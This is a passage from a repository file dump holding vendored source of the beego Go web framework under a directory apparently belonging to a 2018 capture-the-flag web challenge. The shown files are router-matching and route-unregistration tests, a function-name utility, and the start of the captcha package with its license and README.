testinfo{\"/cc/*/dd\", \"/cc/2009/11/dd\", map[string]string{\":splat\": \"2009/11\"}})\n\trouters = append(routers, testinfo{\"/cc/:id/*\", \"/cc/2009/11/dd\", map[string]string{\":id\": \"2009\", \":splat\": \"11/dd\"}})\n\trouters = append(routers, testinfo{\"/ee/:year/*/ff\", \"/ee/2009/11/ff\", map[string]string{\":year\": \"2009\", \":splat\": \"11\"}})\n\trouters = append(routers, testinfo{\"/thumbnail/:size/uploads/*\",\n\t\t\"/thumbnail/100x100/uploads/items/2014/04/20/dPRCdChkUd651t1Hvs18.jpg\",\n\t\tmap[string]string{\":size\": \"100x100\", \":splat\": \"items/2014/04/20/dPRCdChkUd651t1Hvs18.jpg\"}})\n\trouters = append(routers, testinfo{\"/*.*\", \"/nice/api.json\", map[string]string{\":path\": \"nice/api\", \":ext\": \"json\"}})\n\trouters = append(routers, testinfo{\"/:name/*.*\", \"/nice/api.json\", map[string]string{\":name\": \"nice\", \":path\": \"api\", \":ext\": \"json\"}})\n\trouters = append(routers, testinfo{\"/:name/test/*.*\", \"/nice/test/api.json\", map[string]string{\":name\": \"nice\", \":path\": \"api\", \":ext\": \"json\"}})\n\trouters = append(routers, testinfo{\"/dl/:width:int/:height:int/*.*\",\n\t\t\"/dl/48/48/05ac66d9bda00a3acf948c43e306fc9a.jpg\",\n\t\tmap[string]string{\":width\": \"48\", \":height\": \"48\", \":ext\": \"jpg\", \":path\": \"05ac66d9bda00a3acf948c43e306fc9a\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id:int\", \"/v1/shop/123\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id\\\\((a|b|c)\\\\)\", \"/v1/shop/123(a)\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id\\\\((a|b|c)\\\\)\", \"/v1/shop/123(b)\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id\\\\((a|b|c)\\\\)\", \"/v1/shop/123(c)\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/:year:int/:month:int/:id/:endid\", \"/1111/111/aaa/aaa\", map[string]string{\":year\": \"1111\", \":month\": \"111\", \":id\": \"aaa\", \":endid\": \"aaa\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id/:name\", \"/v1/shop/123/nike\", map[string]string{\":id\": \"123\", \":name\": \"nike\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id/account\", \"/v1/shop/123/account\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:name:string\", \"/v1/shop/nike\", map[string]string{\":name\": \"nike\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id([0-9]+)\", \"/v1/shop//123\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id([0-9]+)_:name\", \"/v1/shop/123_nike\", map[string]string{\":id\": \"123\", \":name\": \"nike\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/:id(.+)_cms.html\", \"/v1/shop/123_cms.html\", map[string]string{\":id\": \"123\"}})\n\trouters = append(routers, testinfo{\"/v1/shop/cms_:id(.+)_:page(.+).html\", \"/v1/shop/cms_123_1.html\", map[string]string{\":id\": \"123\", \":page\": \"1\"}})\n\trouters = append(routers, testinfo{\"/v1/:v/cms/aaa_:id(.+)_:page(.+).html\", \"/v1/2/cms/aaa_123_1.html\", map[string]string{\":v\": \"2\", \":id\": \"123\", \":page\": \"1\"}})\n\trouters = append(routers, testinfo{\"/v1/:v/cms_:id(.+)_:page(.+).html\", \"/v1/2/cms_123_1.html\", map[string]string{\":v\": \"2\", \":id\": \"123\", \":page\": \"1\"}})\n\trouters = append(routers, testinfo{\"/v1/:v(.+)_cms/ttt_:id(.+)_:page(.+).html\", \"/v1/2_cms/ttt_123_1.html\", map[string]string{\":v\": \"2\", \":id\": \"123\", \":page\": \"1\"}})\n\trouters = append(routers, testinfo{\"/api/projects/:pid/members/?:mid\", \"/api/projects/1/members\", map[string]string{\":pid\": \"1\"}})\n\trouters = append(routers, testinfo{\"/api/projects/:pid/members/?:mid\", \"/api/projects/1/members/2\", map[string]string{\":pid\": \"1\", \":mid\": \"2\"}})\n}\n\nfunc TestTreeRouters(t *testing.T) {\n\tfor _, r := range routers {\n\t\ttr := NewTree()\n\t\ttr.AddRouter(r.url, \"astaxie\")\n\t\tctx := context.NewContext()\n\t\tobj := tr.Match(r.requesturl, ctx)\n\t\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\t\tt.Fatal(r.url+\" can't get obj, Expect \", r.requesturl)\n\t\t}\n\t\tif r.params != nil {\n\t\t\tfor k, v := range r.params {\n\t\t\t\tif vv := ctx.Input.Param(k); vv != v {\n\t\t\t\t\tt.Fatal(\"The Rule: \" + r.url + \"\\nThe RequestURL:\" + r.requesturl + \"\\nThe Key is \" + k + \", The Value should be: \" + v + \", but get: \" + vv)\n\t\t\t\t} else if vv == \"\" && v != \"\" {\n\t\t\t\t\tt.Fatal(r.url + \"    \" + r.requesturl + \" get param empty:\" + k)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc TestStaticPath(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/topic/:id\", \"wildcard\")\n\ttr.AddRouter(\"/topic\", \"static\")\n\tctx := context.NewContext()\n\tobj := tr.Match(\"/topic\", ctx)\n\tif obj == nil || obj.(string) != \"static\" {\n\t\tt.Fatal(\"/topic is  a static route\")\n\t}\n\tobj = tr.Match(\"/topic/1\", ctx)\n\tif obj == nil || obj.(string) != \"wildcard\" {\n\t\tt.Fatal(\"/topic/1 is a wildcard route\")\n\t}\n}\n\nfunc TestAddTree(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/shop/:id/account\", \"astaxie\")\n\ttr.AddRouter(\"/shop/:sd/ttt_:id(.+)_:page(.+).html\", \"astaxie\")\n\tt1 := NewTree()\n\tt1.AddTree(\"/v1/zl\", tr)\n\tctx := context.NewContext()\n\tobj := t1.Match(\"/v1/zl/shop/123/account\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/v1/zl/shop/:id/account can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":id\") != \"123\" {\n\t\tt.Fatal(\"get :id param error\")\n\t}\n\tctx.Input.Reset(ctx)\n\tobj = t1.Match(\"/v1/zl/shop/123/ttt_1_12.html\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/v1/zl//shop/:sd/ttt_:id(.+)_:page(.+).html can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":sd\") != \"123\" || ctx.Input.Param(\":id\") != \"1\" || ctx.Input.Param(\":page\") != \"12\" {\n\t\tt.Fatal(\"get :sd :id :page param error\")\n\t}\n\n\tt2 := NewTree()\n\tt2.AddTree(\"/v1/:shopid\", tr)\n\tctx.Input.Reset(ctx)\n\tobj = t2.Match(\"/v1/zl/shop/123/account\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/v1/:shopid/shop/:id/account can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":id\") != \"123\" || ctx.Input.Param(\":shopid\") != \"zl\" {\n\t\tt.Fatal(\"get :id :shopid param error\")\n\t}\n\tctx.Input.Reset(ctx)\n\tobj = t2.Match(\"/v1/zl/shop/123/ttt_1_12.html\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/v1/:shopid/shop/:sd/ttt_:id(.+)_:page(.+).html can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get :shopid param error\")\n\t}\n\tif ctx.Input.Param(\":sd\") != \"123\" || ctx.Input.Param(\":id\") != \"1\" || ctx.Input.Param(\":page\") != \"12\" || ctx.Input.Param(\":shopid\") != \"zl\" {\n\t\tt.Fatal(\"get :sd :id :page :shopid param error\")\n\t}\n}\n\nfunc TestAddTree2(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/shop/:id/account\", \"astaxie\")\n\ttr.AddRouter(\"/shop/:sd/ttt_:id(.+)_:page(.+).html\", \"astaxie\")\n\tt3 := NewTree()\n\tt3.AddTree(\"/:version(v1|v2)/:prefix\", tr)\n\tctx := context.NewContext()\n\tobj := t3.Match(\"/v1/zl/shop/123/account\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/:version(v1|v2)/:prefix/shop/:id/account can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":id\") != \"123\" || ctx.Input.Param(\":prefix\") != \"zl\" || ctx.Input.Param(\":version\") != \"v1\" {\n\t\tt.Fatal(\"get :id :prefix :version param error\")\n\t}\n}\n\nfunc TestAddTree3(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/create\", \"astaxie\")\n\ttr.AddRouter(\"/shop/:sd/account\", \"astaxie\")\n\tt3 := NewTree()\n\tt3.AddTree(\"/table/:num\", tr)\n\tctx := context.NewContext()\n\tobj := t3.Match(\"/table/123/shop/123/account\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/table/:num/shop/:sd/account can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":num\") != \"123\" || ctx.Input.Param(\":sd\") != \"123\" {\n\t\tt.Fatal(\"get :num :sd param error\")\n\t}\n\tctx.Input.Reset(ctx)\n\tobj = t3.Match(\"/table/123/create\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/table/:num/create can't get obj \")\n\t}\n}\n\nfunc TestAddTree4(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/create\", \"astaxie\")\n\ttr.AddRouter(\"/shop/:sd/:account\", \"astaxie\")\n\tt4 := NewTree()\n\tt4.AddTree(\"/:info:int/:num/:id\", tr)\n\tctx := context.NewContext()\n\tobj := t4.Match(\"/12/123/456/shop/123/account\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/:info:int/:num/:id/shop/:sd/:account can't get obj \")\n\t}\n\tif ctx.Input.ParamsLen() == 0 {\n\t\tt.Fatal(\"get param error\")\n\t}\n\tif ctx.Input.Param(\":info\") != \"12\" || ctx.Input.Param(\":num\") != \"123\" ||\n\t\tctx.Input.Param(\":id\") != \"456\" || ctx.Input.Param(\":sd\") != \"123\" ||\n\t\tctx.Input.Param(\":account\") != \"account\" {\n\t\tt.Fatal(\"get :info :num :id :sd :account param error\")\n\t}\n\tctx.Input.Reset(ctx)\n\tobj = t4.Match(\"/12/123/456/create\", ctx)\n\tif obj == nil || obj.(string) != \"astaxie\" {\n\t\tt.Fatal(\"/:info:int/:num/:id/create can't get obj \")\n\t}\n}\n\n// Test for issue #1595\nfunc TestAddTree5(t *testing.T) {\n\ttr := NewTree()\n\ttr.AddRouter(\"/v1/shop/:id\", \"shopdetail\")\n\ttr.AddRouter(\"/v1/shop/\", \"shophome\")\n\tctx := context.NewContext()\n\tobj := tr.Match(\"/v1/shop/\", ctx)\n\tif obj == nil || obj.(string) != \"shophome\" {\n\t\tt.Fatal(\"url /v1/shop/ need match router /v1/shop/ \")\n\t}\n}\n\nfunc TestSplitPath(t *testing.T) {\n\ta := splitPath(\"\")\n\tif len(a) != 0 {\n\t\tt.Fatal(\"/ should retrun []\")\n\t}\n\ta = splitPath(\"/\")\n\tif len(a) != 0 {\n\t\tt.Fatal(\"/ should retrun []\")\n\t}\n\ta = splitPath(\"/admin\")\n\tif len(a) != 1 || a[0] != \"admin\" {\n\t\tt.Fatal(\"/admin should retrun [admin]\")\n\t}\n\ta = splitPath(\"/admin/\")\n\tif len(a) != 1 || a[0] != \"admin\" {\n\t\tt.Fatal(\"/admin/ should retrun [admin]\")\n\t}\n\ta = splitPath(\"/admin/users\")\n\tif len(a) != 2 || a[0] != \"admin\" || a[1] != \"users\" {\n\t\tt.Fatal(\"/admin should retrun [admin users]\")\n\t}\n\ta = splitPath(\"/admin/:id:int\")\n\tif len(a) != 2 || a[0] != \"admin\" || a[1] != \":id:int\" {\n\t\tt.Fatal(\"/admin should retrun [admin :id:int]\")\n\t}\n}\n\nfunc TestSplitSegment(t *testing.T) {\n\n\titems := map[string]struct {\n\t\tisReg  bool\n\t\tparams []string\n\t\tregStr string\n\t}{\n\t\t\"admin\":                      {false, nil, \"\"},\n\t\t\"*\":                          {true, []string{\":splat\"}, \"\"},\n\t\t\"*.*\":                        {true, []string{\".\", \":path\", \":ext\"}, \"\"},\n\t\t\":id\":                        {true, []string{\":id\"}, \"\"},\n\t\t\"?:id\":                       {true, []string{\":\", \":id\"}, \"\"},\n\t\t\":id:int\":                    {true, []string{\":id\"}, \"([0-9]+)\"},\n\t\t\":name:string\":               {true, []string{\":name\"}, `([\\w]+)`},\n\t\t\":id([0-9]+)\":                {true, []string{\":id\"}, `([0-9]+)`},\n\t\t\":id([0-9]+)_:name\":          {true, []string{\":id\", \":name\"}, `([0-9]+)_(.+)`},\n\t\t\":id(.+)_cms.html\":           {true, []string{\":id\"}, `(.+)_cms.html`},\n\t\t\"cms_:id(.+)_:page(.+).html\": {true, []string{\":id\", \":page\"}, `cms_(.+)_(.+).html`},\n\t\t`:app(a|b|c)`:                {true, []string{\":app\"}, `(a|b|c)`},\n\t\t`:app\\((a|b|c)\\)`:            {true, []string{\":app\"}, `(.+)\\((a|b|c)\\)`},\n\t}\n\n\tfor pattern, v := range items {\n\t\tb, w, r := splitSegment(pattern)\n\t\tif b != v.isReg || r != v.regStr || strings.Join(w, \",\") != strings.Join(v.params, \",\") {\n\t\t\tt.Fatalf(\"%s should return %t,%s,%q, got %t,%s,%q\", pattern, v.isReg, v.params, v.regStr, b, w, r)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/unregroute_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage beego\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"testing\"\n)\n\n//\n// The unregroute_test.go contains tests for the unregister route\n// functionality, that allows overriding route paths in children project\n// that embed parent routers.\n//\n\nconst contentRootOriginal = \"ok-original-root\"\nconst contentLevel1Original = \"ok-original-level1\"\nconst contentLevel2Original = \"ok-original-level2\"\n\nconst contentRootReplacement = \"ok-replacement-root\"\nconst contentLevel1Replacement = \"ok-replacement-level1\"\nconst contentLevel2Replacement = \"ok-replacement-level2\"\n\n// TestPreUnregController will supply content for the original routes,\n// before unregistration\ntype TestPreUnregController struct {\n\tController\n}\n\nfunc (tc *TestPreUnregController) GetFixedRoot() {\n\ttc.Ctx.Output.Body([]byte(contentRootOriginal))\n}\nfunc (tc *TestPreUnregController) GetFixedLevel1() {\n\ttc.Ctx.Output.Body([]byte(contentLevel1Original))\n}\nfunc (tc *TestPreUnregController) GetFixedLevel2() {\n\ttc.Ctx.Output.Body([]byte(contentLevel2Original))\n}\n\n// TestPostUnregController will supply content for the overriding routes,\n// after the original ones are unregistered.\ntype TestPostUnregController struct {\n\tController\n}\n\nfunc (tc *TestPostUnregController) GetFixedRoot() {\n\ttc.Ctx.Output.Body([]byte(contentRootReplacement))\n}\nfunc (tc *TestPostUnregController) GetFixedLevel1() {\n\ttc.Ctx.Output.Body([]byte(contentLevel1Replacement))\n}\nfunc (tc *TestPostUnregController) GetFixedLevel2() {\n\ttc.Ctx.Output.Body([]byte(contentLevel2Replacement))\n}\n\n// TestUnregisterFixedRouteRoot replaces just the root fixed route path.\n// In this case, for a path like \"/level1/level2\" or \"/level1\", those actions\n// should remain intact, and continue to serve the original content.\nfunc TestUnregisterFixedRouteRoot(t *testing.T) {\n\n\tvar method = \"GET\"\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/\", &TestPreUnregController{}, \"get:GetFixedRoot\")\n\thandler.Add(\"/level1\", &TestPreUnregController{}, \"get:GetFixedLevel1\")\n\thandler.Add(\"/level1/level2\", &TestPreUnregController{}, \"get:GetFixedLevel2\")\n\n\t// Test original root\n\ttestHelperFnContentCheck(t, handler, \"Test original root\",\n\t\tmethod, \"/\", contentRootOriginal)\n\n\t// Test original level 1\n\ttestHelperFnContentCheck(t, handler, \"Test original level 1\",\n\t\tmethod, \"/level1\", contentLevel1Original)\n\n\t// Test original level 2\n\ttestHelperFnContentCheck(t, handler, \"Test original level 2\",\n\t\tmethod, \"/level1/level2\", contentLevel2Original)\n\n\t// Remove only the root path\n\tfindAndRemoveSingleTree(handler.routers[method])\n\n\t// Replace the root path TestPreUnregController action with the action from\n\t// TestPostUnregController\n\thandler.Add(\"/\", &TestPostUnregController{}, \"get:GetFixedRoot\")\n\n\t// Test replacement root (expect change)\n\ttestHelperFnContentCheck(t, handler, \"Test replacement root (expect change)\", method, \"/\", contentRootReplacement)\n\n\t// Test level 1 (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test level 1 (expect no change from the original)\", method, \"/level1\", contentLevel1Original)\n\n\t// Test level 2 (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test level 2 (expect no change from the original)\", method, \"/level1/level2\", contentLevel2Original)\n\n}\n\n// TestUnregisterFixedRouteLevel1 replaces just the \"/level1\" fixed route path.\n// In this case, for a path like \"/level1/level2\" or \"/\", those actions\n// should remain intact, and continue to serve the original content.\nfunc TestUnregisterFixedRouteLevel1(t *testing.T) {\n\n\tvar method = \"GET\"\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/\", &TestPreUnregController{}, \"get:GetFixedRoot\")\n\thandler.Add(\"/level1\", &TestPreUnregController{}, \"get:GetFixedLevel1\")\n\thandler.Add(\"/level1/level2\", &TestPreUnregController{}, \"get:GetFixedLevel2\")\n\n\t// Test original root\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original root\",\n\t\tmethod, \"/\", contentRootOriginal)\n\n\t// Test original level 1\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original level 1\",\n\t\tmethod, \"/level1\", contentLevel1Original)\n\n\t// Test original level 2\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original level 2\",\n\t\tmethod, \"/level1/level2\", contentLevel2Original)\n\n\t// Remove only the level1 path\n\tsubPaths := splitPath(\"/level1\")\n\tif handler.routers[method].prefix == strings.Trim(\"/level1\", \"/ \") {\n\t\tfindAndRemoveSingleTree(handler.routers[method])\n\t} else {\n\t\tfindAndRemoveTree(subPaths, handler.routers[method], method)\n\t}\n\n\t// Replace the \"level1\" path TestPreUnregController action with the action from\n\t// TestPostUnregController\n\thandler.Add(\"/level1\", &TestPostUnregController{}, \"get:GetFixedLevel1\")\n\n\t// Test replacement root (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test replacement root (expect no change from the original)\", method, \"/\", contentRootOriginal)\n\n\t// Test level 1 (expect change)\n\ttestHelperFnContentCheck(t, handler, \"Test level 1 (expect change)\", method, \"/level1\", contentLevel1Replacement)\n\n\t// Test level 2 (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test level 2 (expect no change from the original)\", method, \"/level1/level2\", contentLevel2Original)\n\n}\n\n// TestUnregisterFixedRouteLevel2 unregisters just the \"/level1/level2\" fixed\n// route path. In this case, for a path like \"/level1\" or \"/\", those actions\n// should remain intact, and continue to serve the original content.\nfunc TestUnregisterFixedRouteLevel2(t *testing.T) {\n\n\tvar method = \"GET\"\n\n\thandler := NewControllerRegister()\n\thandler.Add(\"/\", &TestPreUnregController{}, \"get:GetFixedRoot\")\n\thandler.Add(\"/level1\", &TestPreUnregController{}, \"get:GetFixedLevel1\")\n\thandler.Add(\"/level1/level2\", &TestPreUnregController{}, \"get:GetFixedLevel2\")\n\n\t// Test original root\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original root\",\n\t\tmethod, \"/\", contentRootOriginal)\n\n\t// Test original level 1\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original level 1\",\n\t\tmethod, \"/level1\", contentLevel1Original)\n\n\t// Test original level 2\n\ttestHelperFnContentCheck(t, handler,\n\t\t\"TestUnregisterFixedRouteLevel1.Test original level 2\",\n\t\tmethod, \"/level1/level2\", contentLevel2Original)\n\n\t// Remove only the level2 path\n\tsubPaths := splitPath(\"/level1/level2\")\n\tif handler.routers[method].prefix == strings.Trim(\"/level1/level2\", \"/ \") {\n\t\tfindAndRemoveSingleTree(handler.routers[method])\n\t} else {\n\t\tfindAndRemoveTree(subPaths, handler.routers[method], method)\n\t}\n\n\t// Replace the \"/level1/level2\" path TestPreUnregController action with the action from\n\t// TestPostUnregController\n\thandler.Add(\"/level1/level2\", &TestPostUnregController{}, \"get:GetFixedLevel2\")\n\n\t// Test replacement root (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test replacement root (expect no change from the original)\", method, \"/\", contentRootOriginal)\n\n\t// Test level 1 (expect no change from the original)\n\ttestHelperFnContentCheck(t, handler, \"Test level 1 (expect no change from the original)\", method, \"/level1\", contentLevel1Original)\n\n\t// Test level 2 (expect change)\n\ttestHelperFnContentCheck(t, handler, \"Test level 2 (expect change)\", method, \"/level1/level2\", contentLevel2Replacement)\n\n}\n\nfunc testHelperFnContentCheck(t *testing.T, handler *ControllerRegister,\n\ttestName, method, path, expectedBodyContent string) {\n\n\tr, err := http.NewRequest(method, path, nil)\n\tif err != nil {\n\t\tt.Errorf(\"httpRecorderBodyTest NewRequest error: %v\", err)\n\t\treturn\n\t}\n\tw := httptest.NewRecorder()\n\thandler.ServeHTTP(w, r)\n\tbody := w.Body.String()\n\tif body != expectedBodyContent {\n\t\tt.Errorf(\"%s: expected [%s], got [%s];\", testName, expectedBodyContent, body)\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/caller.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"reflect\"\n\t\"runtime\"\n)\n\n// GetFuncName get function name\nfunc GetFuncName(i interface{}) string {\n\treturn runtime.FuncForPC(reflect.ValueOf(i).Pointer()).Name()\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/caller_test.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage utils\n\nimport (\n\t\"strings\"\n\t\"testing\"\n)\n\nfunc TestGetFuncName(t *testing.T) {\n\tname := GetFuncName(TestGetFuncName)\n\tt.Log(name)\n\tif !strings.HasSuffix(name, \".TestGetFuncName\") {\n\t\tt.Error(\"get func name error\")\n\t}\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/LICENSE",
    "content": "Copyright (c) 2011-2014 Dmitry Chestnykh <dmitry@codingrobots.com>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in\nall copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\nTHE SOFTWARE.\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/README.md",
    "content": "# Captcha\n\nan example for use captcha\n\n```\npackage controllers\n\nimport (\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/cache\"\n\t\"github.com/astaxie/beego/utils/captcha\"\n)\n\nvar cpt *captcha.Captcha\n\nfunc init() {\n\t// use beego cache system store the captcha data\n\tstore := cache.NewMemoryCache()\n\tcpt = captcha.NewWithFilter(\"/captcha/\", store)\n}\n\ntype MainController struct {\n\tbeego.Controller\n}\n\nfunc (this *MainController) Get() {\n\tthis.TplName = \"index.tpl\"\n}\n\nfunc (this *MainController) Post() {\n\tthis.TplName = \"index.tpl\"\n\n\tthis.Data[\"Success\"] = cpt.VerifyReq(this.Ctx.Request)\n}\n```\n\ntemplate usage\n\n```\n{{.Success}}\n<form action=\"/\" method=\"post\">\n\t{{create_captcha}}\n\t<input name=\"captcha\" type=\"text\">\n</form>\n```\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/astaxie/beego/utils/captcha/captcha.go",
    "content": "// Copyright 2014 beego Author. All Rights Reserved.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n//      http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n// Package captcha implements generation and verification of image CAPTCHAs.\n// an example for use captcha\n//\n// ```\n// package controllers\n//\n// import (\n// \t\"github.com/astaxie/beego\"\n// \t\"github.com/astaxie/beego/cache\"\n// \t\"github.com/astaxie/beego/utils/captcha\"\n// )\n//\n// var cpt *captcha.Captcha\n//\n// func init() {\n// \t// use beego cache system store the captcha data\n// \tstore := cache.NewMemoryCache()\n// \tcpt = captcha.NewWithFilter(\"/captcha/\", store)\n// }\n//\n// type MainController struct {\n// \tbeego.Controller\n// }\n//\n// func (this *MainController) Get() {\n// \tthis.TplName = \"index.tpl\"\n// }\n//\n// func (this *MainController) Post() {\n// \tthis.TplName = \"index.tpl\"\n//\n// \tthis.Data[\"Success\"] = cpt.VerifyReq(this.Ctx.Request)\n// }\n// ```\n//\n// template usage\n//\n// ```\n// {{.Success}}\n// <form action=\"/\" method=\"post\">\n// \t{{create_captcha}}\n// \t<input name=\"captcha\" type=\"text\">\n// </form>\n// ```\npackage captcha\n\nimport (\n\t\"fmt\"\n\t\"html/template\"\n\t\"net/http\"\n\t\"path\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/astaxie/beego\"\n\t\"github.com/astaxie/beego/cache\"\n\t\"github.com/astaxie/beego/context\"\n\t\"github.com/astaxie/beego/logs\"\n\t\"github.com/astaxie/beego/utils\"\n)\n\nvar (\n\tdefaultChars = []byte{0, 1, 2, 3, 4, 5, 6, 7, 8, 9}\n)\n\nconst (\n\t// default captcha attributes\n\tchallengeNums    = 6\n\texpiration       = 600 * time.Second\n\tfieldIDName      = \"captcha_id\"\n\tfieldCaptchaName = \"captcha\"\n\tcachePrefix      = \"captcha_\"\n\tdefaultURLPrefix = \"/captcha/\"\n)\n\n// Captcha struct\ntype Captcha struct {\n\t// beego cache store\n\tstore cache.Cache\n\n\t// url prefix for captcha image\n\tURLPrefix string\n\n\t// specify captcha id input field name\n\tFieldIDName string\n\t// specify captcha result input field name\n\tFieldCaptchaName string\n\n\t// captcha image width and height\n\tStdWidth  int\n\tStdHeight int\n\n\t// captcha chars nums\n\tChallengeNums int\n\n\t// captcha expiration seconds\n\tExpiration time.Duration\n\n\t// cache key prefix\n\tCachePrefix string\n}\n\n// generate key string\nfunc (c 